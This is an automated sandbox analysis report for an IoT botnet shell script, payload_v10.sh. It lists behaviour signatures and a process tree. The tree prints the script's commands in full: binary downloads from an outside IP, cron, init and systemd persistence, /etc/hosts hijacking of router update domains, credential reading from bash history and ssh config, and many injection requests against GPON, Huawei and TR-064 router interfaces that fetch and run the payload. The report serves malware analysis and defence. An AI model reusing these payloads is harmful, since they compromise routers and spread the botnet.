Overview

overview

7

Static

static

1

payload_v10.sh

ubuntu-18.04-amd64

7

payload_v10.sh

debian-9-armhf

7

payload_v10.sh

debian-9-mips

7

payload_v10.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    123s
  • max time network
    134s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20260513-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    20/08/2026, 18:17

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    payload_v10.sh
  • Size 7KB
  • Sample260820-wxhe3atana
  • SHA256 7d5aa3ee7a952b275ca92560a65f33302492651a90c60be97f02d4a9706a093c
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
command_and_controlcredential_accessdefense_evasiondiscoveryexecutionpersistenceprivilege_escalation

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • Modifies the /etc/hosts DNS resolution file 1 TTPs 1 IoCs

    Modifying the /etc/hosts name-resolution file changes IP routing, which can facilitate traffic hijacking or the blocking of (security update) endpoints.

  • Outbound SSH connection to public host 2 TTPs 3 IoCs

    SSH is used for remote access. This may indicate SSH host discovery, encrypted C2 traffic, or data exfiltration.

    command_and_control
  • Creates/modifies Cron job 1 TTPs 3 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Creates/modifies environment variables 1 TTPs 1 IoCs

    Creating/modifying environment variables is a common persistence mechanism.

    persistenceprivilege_escalationdefense_evasion
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

    persistence
  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

    persistence
  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Reads Bash history 1 TTPs 1 IoCs

    Adversaries may search the bash command history on compromised systems for insecurely stored credentials.

    credential_access
  • Modifies Bash startup script 2 TTPs 1 IoCs
    persistence
  • Changes its process name 1 IoCs
  • Reads CPU attributes 1 TTPs 14 IoCs
    discovery
  • Reads system network configuration 1 TTPs 3 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 9 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/payload_v10.sh
    /tmp/payload_v10.sh
    1⤵
    • Executes dropped EXE
    • Modifies the /etc/hosts DNS resolution file
    • Creates/modifies Cron job
    • Creates/modifies environment variables
    • Modifies init.d
    • Modifies rc script
    • Modifies systemd
    • Modifies Bash startup script
    • Writes file to tmp directory
    PID:707
    • /bin/grep
      grep -E "178\\.132\\.198\\.200:(80|443|8080|53).*ESTABLISHED"
      2⤵
        PID:711
      • /bin/grep
        grep -E "178\\.132\\.198\\.200:(80|443|8080|53).*ESTAB"
        2⤵
          PID:719
        • /bin/ss
          ss -an
          2⤵
          • Reads system network configuration
          PID:718
        • /bin/grep
          grep -qi "cowrie\\|kippo\\|honeypot"
          2⤵
          • System Network Configuration Discovery
          PID:747
        • /bin/uname
          uname -a
          2⤵
            PID:746
          • /usr/bin/killall
            killall -9 mirai
            2⤵
            • Reads runtime system information
            PID:751
          • /usr/bin/pkill
            pkill -9 mirai
            2⤵
            • Reads CPU attributes
            • Reads runtime system information
            PID:752
          • /usr/bin/killall
            killall -9 gafgyt
            2⤵
              PID:754
            • /usr/bin/pkill
              pkill -9 gafgyt
              2⤵
              • Reads CPU attributes
              • Reads runtime system information
              PID:756
            • /usr/bin/killall
              killall -9 xmrig
              2⤵
              • Reads runtime system information
              PID:757
            • /usr/bin/pkill
              pkill -9 xmrig
              2⤵
              • Reads CPU attributes
              • Reads runtime system information
              PID:759
            • /usr/bin/killall
              killall -9 kdevtmpfs
              2⤵
              • Reads runtime system information
              PID:762
            • /usr/bin/pkill
              pkill -9 kdevtmpfs
              2⤵
              • Reads CPU attributes
              • Reads runtime system information
              PID:763
            • /usr/bin/killall
              killall -9 sora
              2⤵
              • Reads runtime system information
              PID:765
            • /usr/bin/pkill
              pkill -9 sora
              2⤵
              • Reads CPU attributes
              • Reads runtime system information
              PID:766
            • /usr/bin/killall
              killall -9 Mozi
              2⤵
              • Reads runtime system information
              PID:767
            • /usr/bin/pkill
              pkill -9 Mozi
              2⤵
              • Reads CPU attributes
              • Reads runtime system information
              PID:769
            • /usr/bin/killall
              killall -9 mozi
              2⤵
              • Reads runtime system information
              PID:770
            • /usr/bin/pkill
              pkill -9 mozi
              2⤵
              • Reads CPU attributes
              PID:771
            • /usr/bin/killall
              killall -9 kaiten
              2⤵
              • Reads runtime system information
              PID:772
            • /usr/bin/pkill
              pkill -9 kaiten
              2⤵
              • Reads CPU attributes
              • Reads runtime system information
              PID:773
            • /usr/bin/killall
              killall -9 tsunami
              2⤵
              • Reads runtime system information
              PID:774
            • /usr/bin/pkill
              pkill -9 tsunami
              2⤵
              • Reads CPU attributes
              • Reads runtime system information
              PID:775
            • /bin/rm
              rm -f "v8_*" "v8_*" ntp_sync kthreadd2 /tmp/.x /tmp/.s /tmp/payload_v10.sh
              2⤵
                PID:776
              • /bin/uname
                uname -m
                2⤵
                  PID:777
                • /usr/bin/wget
                  wget -qO v8_mips http://178.132.198.200:80/bins/v8_mips
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:778
                • /bin/chmod
                  chmod 777 v8_mips
                  2⤵
                  • File and Directory Permissions Modification
                  PID:779
                • /bin/rm
                  rm -f v8_mips
                  2⤵
                  • System Network Configuration Discovery
                  PID:781
                • /tmp/v8_mips
                  ./v8_mips
                  2⤵
                  • System Network Configuration Discovery
                  PID:780
                • /bin/sleep
                  sleep 2
                  2⤵
                    PID:783
                  • /bin/grep
                    grep 178.132.198.200
                    2⤵
                      PID:805
                    • /bin/grep
                      grep -v grep
                      2⤵
                        PID:803
                      • /bin/ps
                        ps
                        2⤵
                        • Reads CPU attributes
                        • Reads runtime system information
                        PID:802
                      • /usr/bin/wget
                        wget -qO v8_mipsel http://178.132.198.200:80/bins/v8_mipsel
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:808
                      • /bin/chmod
                        chmod 777 v8_mipsel
                        2⤵
                        • File and Directory Permissions Modification
                        PID:828
                      • /bin/rm
                        rm -f v8_mipsel
                        2⤵
                        • System Network Configuration Discovery
                        PID:830
                      • /tmp/v8_mipsel
                        ./v8_mipsel
                        2⤵
                        • Changes its process name
                        • System Network Configuration Discovery
                        PID:829
                      • /bin/sleep
                        sleep 2
                        2⤵
                          PID:834
                        • /bin/grep
                          grep -v grep
                          2⤵
                            PID:841
                          • /bin/grep
                            grep 178.132.198.200
                            2⤵
                              PID:843
                            • /bin/ps
                              ps
                              2⤵
                              • Reads CPU attributes
                              • Reads runtime system information
                              PID:840
                            • /usr/bin/wget
                              wget -qO v8_x86 http://178.132.198.200:80/bins/v8_x86
                              2⤵
                              • Writes file to tmp directory
                              PID:844
                            • /bin/chmod
                              chmod 777 v8_x86
                              2⤵
                              • File and Directory Permissions Modification
                              PID:845
                            • /bin/rm
                              rm -f v8_x86
                              2⤵
                                PID:847
                              • /tmp/v8_x86
                                ./v8_x86
                                2⤵
                                  PID:846
                                • /bin/sleep
                                  sleep 2
                                  2⤵
                                    PID:849
                                  • /bin/grep
                                    grep 178.132.198.200
                                    2⤵
                                      PID:870
                                    • /bin/grep
                                      grep -v grep
                                      2⤵
                                        PID:868
                                      • /bin/ps
                                        ps
                                        2⤵
                                        • Reads CPU attributes
                                        • Reads runtime system information
                                        PID:867
                                      • /bin/grep
                                        grep -v 178.132.198.200
                                        2⤵
                                          PID:874
                                        • /usr/bin/crontab
                                          crontab -
                                          2⤵
                                          • Creates/modifies Cron job
                                          PID:875
                                        • /usr/bin/crontab
                                          crontab -l
                                          2⤵
                                            PID:873
                                          • /bin/grep
                                            grep -q 178.132.198.200 /etc/rc.local
                                            2⤵
                                              PID:877
                                            • /bin/sed
                                              sed -i "s/exit 0//" /etc/rc.local
                                              2⤵
                                                PID:879
                                              • /bin/chmod
                                                chmod +x /etc/rc.local
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:880
                                              • /bin/grep
                                                grep -q 178.132.198.200 /etc/profile
                                                2⤵
                                                  PID:881
                                                • /bin/cat
                                                  cat
                                                  2⤵
                                                    PID:884
                                                  • /bin/chmod
                                                    chmod +x /etc/init.d/ntpsync
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:885
                                                  • /bin/ln
                                                    ln -sf /etc/init.d/ntpsync /etc/rc2.d/S99ntpsync
                                                    2⤵
                                                      PID:886
                                                    • /bin/ln
                                                      ln -sf /etc/init.d/ntpsync /etc/rc3.d/S99ntpsync
                                                      2⤵
                                                        PID:887
                                                      • /bin/ln
                                                        ln -sf /etc/init.d/ntpsync /etc/rcS.d/S99ntpsync
                                                        2⤵
                                                          PID:889
                                                        • /bin/cat
                                                          cat
                                                          2⤵
                                                            PID:890
                                                          • /bin/systemctl
                                                            systemctl daemon-reload
                                                            2⤵
                                                            • Enumerates kernel/hardware configuration
                                                            PID:892
                                                          • /bin/systemctl
                                                            systemctl enable ntpsync
                                                            2⤵
                                                              PID:911
                                                              • /lib/systemd/systemd-sysv-install
                                                                /lib/systemd/systemd-sysv-install enable ntpsync
                                                                3⤵
                                                                  PID:912
                                                                  • /usr/bin/getopt
                                                                    getopt -o r: --long root: -- enable ntpsync
                                                                    4⤵
                                                                      PID:913
                                                                    • /usr/sbin/update-rc.d
                                                                      /usr/sbin/update-rc.d ntpsync defaults
                                                                      4⤵
                                                                        PID:914
                                                                        • /usr/local/sbin/systemctl
                                                                          systemctl daemon-reload
                                                                          5⤵
                                                                            PID:915
                                                                          • /usr/local/bin/systemctl
                                                                            systemctl daemon-reload
                                                                            5⤵
                                                                              PID:915
                                                                            • /usr/sbin/systemctl
                                                                              systemctl daemon-reload
                                                                              5⤵
                                                                                PID:915
                                                                              • /usr/bin/systemctl
                                                                                systemctl daemon-reload
                                                                                5⤵
                                                                                  PID:915
                                                                                • /sbin/systemctl
                                                                                  systemctl daemon-reload
                                                                                  5⤵
                                                                                    PID:915
                                                                                  • /bin/systemctl
                                                                                    systemctl daemon-reload
                                                                                    5⤵
                                                                                    • Enumerates kernel/hardware configuration
                                                                                    PID:915
                                                                                • /usr/sbin/update-rc.d
                                                                                  /usr/sbin/update-rc.d ntpsync enable
                                                                                  4⤵
                                                                                    PID:928
                                                                              • /bin/systemctl
                                                                                systemctl start ntpsync
                                                                                2⤵
                                                                                • Enumerates kernel/hardware configuration
                                                                                PID:929
                                                                              • /bin/cat
                                                                                cat
                                                                                2⤵
                                                                                  PID:933
                                                                                • /bin/chmod
                                                                                  chmod +x /etc/network/if-up.d/ntpsync
                                                                                  2⤵
                                                                                  • File and Directory Permissions Modification
                                                                                  PID:934
                                                                                • /bin/grep
                                                                                  grep -q update.huawei.com /etc/hosts
                                                                                  2⤵
                                                                                    PID:935
                                                                                  • /bin/grep
                                                                                    grep -q upgrade.huawei.com /etc/hosts
                                                                                    2⤵
                                                                                      PID:936
                                                                                    • /bin/grep
                                                                                      grep -q firmware.tp-link.com /etc/hosts
                                                                                      2⤵
                                                                                        PID:937
                                                                                      • /bin/grep
                                                                                        grep -q update.dlink.com /etc/hosts
                                                                                        2⤵
                                                                                          PID:938
                                                                                        • /bin/grep
                                                                                          grep -q fwupdate.asus.com /etc/hosts
                                                                                          2⤵
                                                                                            PID:939
                                                                                          • /bin/grep
                                                                                            grep -q update.netgear.com /etc/hosts
                                                                                            2⤵
                                                                                              PID:940
                                                                                            • /bin/grep
                                                                                              grep -q tr069.claro.com.ar /etc/hosts
                                                                                              2⤵
                                                                                                PID:941
                                                                                              • /bin/grep
                                                                                                grep -q tr069.telecom.com.ar /etc/hosts
                                                                                                2⤵
                                                                                                  PID:942
                                                                                                • /bin/grep
                                                                                                  grep -q update.mikrotik.com /etc/hosts
                                                                                                  2⤵
                                                                                                    PID:943
                                                                                                  • /bin/grep
                                                                                                    grep -q zombie_scanner
                                                                                                    2⤵
                                                                                                      PID:946
                                                                                                    • /bin/grep
                                                                                                      grep -v grep
                                                                                                      2⤵
                                                                                                        PID:945
                                                                                                      • /bin/ps
                                                                                                        ps
                                                                                                        2⤵
                                                                                                        • Reads CPU attributes
                                                                                                        • Reads runtime system information
                                                                                                        PID:944
                                                                                                      • /usr/bin/wget
                                                                                                        wget -qO /tmp/.zs http://178.132.198.200:80/zombie_scanner.sh
                                                                                                        2⤵
                                                                                                        • Writes file to tmp directory
                                                                                                        PID:951
                                                                                                      • /bin/chmod
                                                                                                        chmod +x /tmp/.zs
                                                                                                        2⤵
                                                                                                        • File and Directory Permissions Modification
                                                                                                        PID:953
                                                                                                      • /bin/grep
                                                                                                        grep -q "\\.wd\\.sh"
                                                                                                        2⤵
                                                                                                          PID:957
                                                                                                        • /bin/grep
                                                                                                          grep -v grep
                                                                                                          2⤵
                                                                                                            PID:956
                                                                                                          • /bin/ps
                                                                                                            ps
                                                                                                            2⤵
                                                                                                            • Reads CPU attributes
                                                                                                            • Reads runtime system information
                                                                                                            PID:955
                                                                                                          • /bin/sh
                                                                                                            sh /tmp/.zs
                                                                                                            2⤵
                                                                                                              PID:954
                                                                                                              • /bin/cat
                                                                                                                cat "~/.bash_history"
                                                                                                                3⤵
                                                                                                                • Reads Bash history
                                                                                                                PID:959
                                                                                                              • /bin/grep
                                                                                                                grep "@"
                                                                                                                3⤵
                                                                                                                  PID:961
                                                                                                                • /bin/grep
                                                                                                                  grep -i "ssh "
                                                                                                                  3⤵
                                                                                                                    PID:960
                                                                                                                  • /usr/bin/awk
                                                                                                                    awk "{print \$1}"
                                                                                                                    3⤵
                                                                                                                      PID:963
                                                                                                                    • /usr/bin/awk
                                                                                                                      awk "-F@" "{print \$2}"
                                                                                                                      3⤵
                                                                                                                        PID:962
                                                                                                                      • /usr/bin/awk
                                                                                                                        awk "{print \$2}"
                                                                                                                        3⤵
                                                                                                                          PID:968
                                                                                                                        • /bin/grep
                                                                                                                          grep -i HostName
                                                                                                                          3⤵
                                                                                                                            PID:967
                                                                                                                          • /bin/cat
                                                                                                                            cat "~/.ssh/config"
                                                                                                                            3⤵
                                                                                                                              PID:966
                                                                                                                            • /bin/cat
                                                                                                                              cat /proc/net/arp
                                                                                                                              3⤵
                                                                                                                              • Reads system network configuration
                                                                                                                              PID:973
                                                                                                                            • /bin/grep
                                                                                                                              grep -v IP
                                                                                                                              3⤵
                                                                                                                              • System Network Configuration Discovery
                                                                                                                              PID:974
                                                                                                                            • /usr/bin/awk
                                                                                                                              awk "{print \$1}"
                                                                                                                              3⤵
                                                                                                                                PID:975
                                                                                                                              • /usr/bin/awk
                                                                                                                                awk "/default/ {print \$3}"
                                                                                                                                3⤵
                                                                                                                                  PID:979
                                                                                                                                • /sbin/ip
                                                                                                                                  ip route show default
                                                                                                                                  3⤵
                                                                                                                                  • System Network Configuration Discovery
                                                                                                                                  PID:978
                                                                                                                                • /usr/bin/cut
                                                                                                                                  cut -d. -f1-3
                                                                                                                                  3⤵
                                                                                                                                    PID:982
                                                                                                                                  • /usr/bin/seq
                                                                                                                                    seq 1 254
                                                                                                                                    3⤵
                                                                                                                                      PID:983
                                                                                                                                    • /usr/bin/sort
                                                                                                                                      sort -u
                                                                                                                                      3⤵
                                                                                                                                        PID:987
                                                                                                                                      • /usr/bin/tr
                                                                                                                                        tr " " "\\n"
                                                                                                                                        3⤵
                                                                                                                                          PID:986
                                                                                                                                        • /usr/bin/curl
                                                                                                                                          curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.104/cgi-bin/config.cgi
                                                                                                                                          3⤵
                                                                                                                                            PID:1031
                                                                                                                                          • /usr/bin/curl
                                                                                                                                            curl -s -g "http://10.127.0.105/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                            3⤵
                                                                                                                                              PID:1035
                                                                                                                                            • /usr/bin/curl
                                                                                                                                              curl -s -g "http://10.127.0.104:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                              3⤵
                                                                                                                                                PID:1027
                                                                                                                                              • /usr/bin/curl
                                                                                                                                                curl -s -g "http://10.127.0.101/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                3⤵
                                                                                                                                                  PID:1021
                                                                                                                                                • /usr/bin/curl
                                                                                                                                                  curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.101/cgi-bin/config.cgi
                                                                                                                                                  3⤵
                                                                                                                                                    PID:1024
                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                    curl -s -g "http://10.127.0.104/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                    3⤵
                                                                                                                                                      PID:1028
                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                      curl -s -X POST http://10.127.0.105:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                      3⤵
                                                                                                                                                        PID:1036
                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                        curl -s -X POST http://10.127.0.101:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                        3⤵
                                                                                                                                                          PID:1022
                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                          curl -s -g "http://10.127.0.105:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                          3⤵
                                                                                                                                                            PID:1034
                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                            curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.100/setup.cgi
                                                                                                                                                            3⤵
                                                                                                                                                              PID:1048
                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                              curl -s -X POST http://10.127.0.104:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                              3⤵
                                                                                                                                                                PID:1029
                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.105/setup.cgi
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:1039
                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                  curl -s -g "http://10.127.0.101:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:1020
                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                    curl -s -g "http://10.127.0.103/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:1065
                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                      curl -s -X POST http://10.127.0.106:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:1053
                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                        curl -s -X POST "http://10.127.0.103:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:1067
                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                          curl -s -X POST "http://10.127.0.102:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:1061
                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                            curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.101/setup.cgi
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:1025
                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                              curl -s -X POST "http://10.127.0.106:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:1054
                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                curl -s -g "http://10.127.0.106/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:1052
                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                  curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.102/cgi-bin/config.cgi
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:1062
                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                    curl -s -X POST "http://10.127.0.105:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:1037
                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                      curl -s -g "http://10.127.0.100/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:1044
                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                        curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.107/cgi-bin/config.cgi
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:1076
                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                          curl -s -g "http://10.127.0.100:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:1043
                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                            curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.106/setup.cgi
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:1056
                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                              curl -s -g "http://10.127.0.106:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:1051
                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                curl -s -g "http://10.127.0.107/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:1073
                                                                                                                                                                                                • /usr/bin/curl
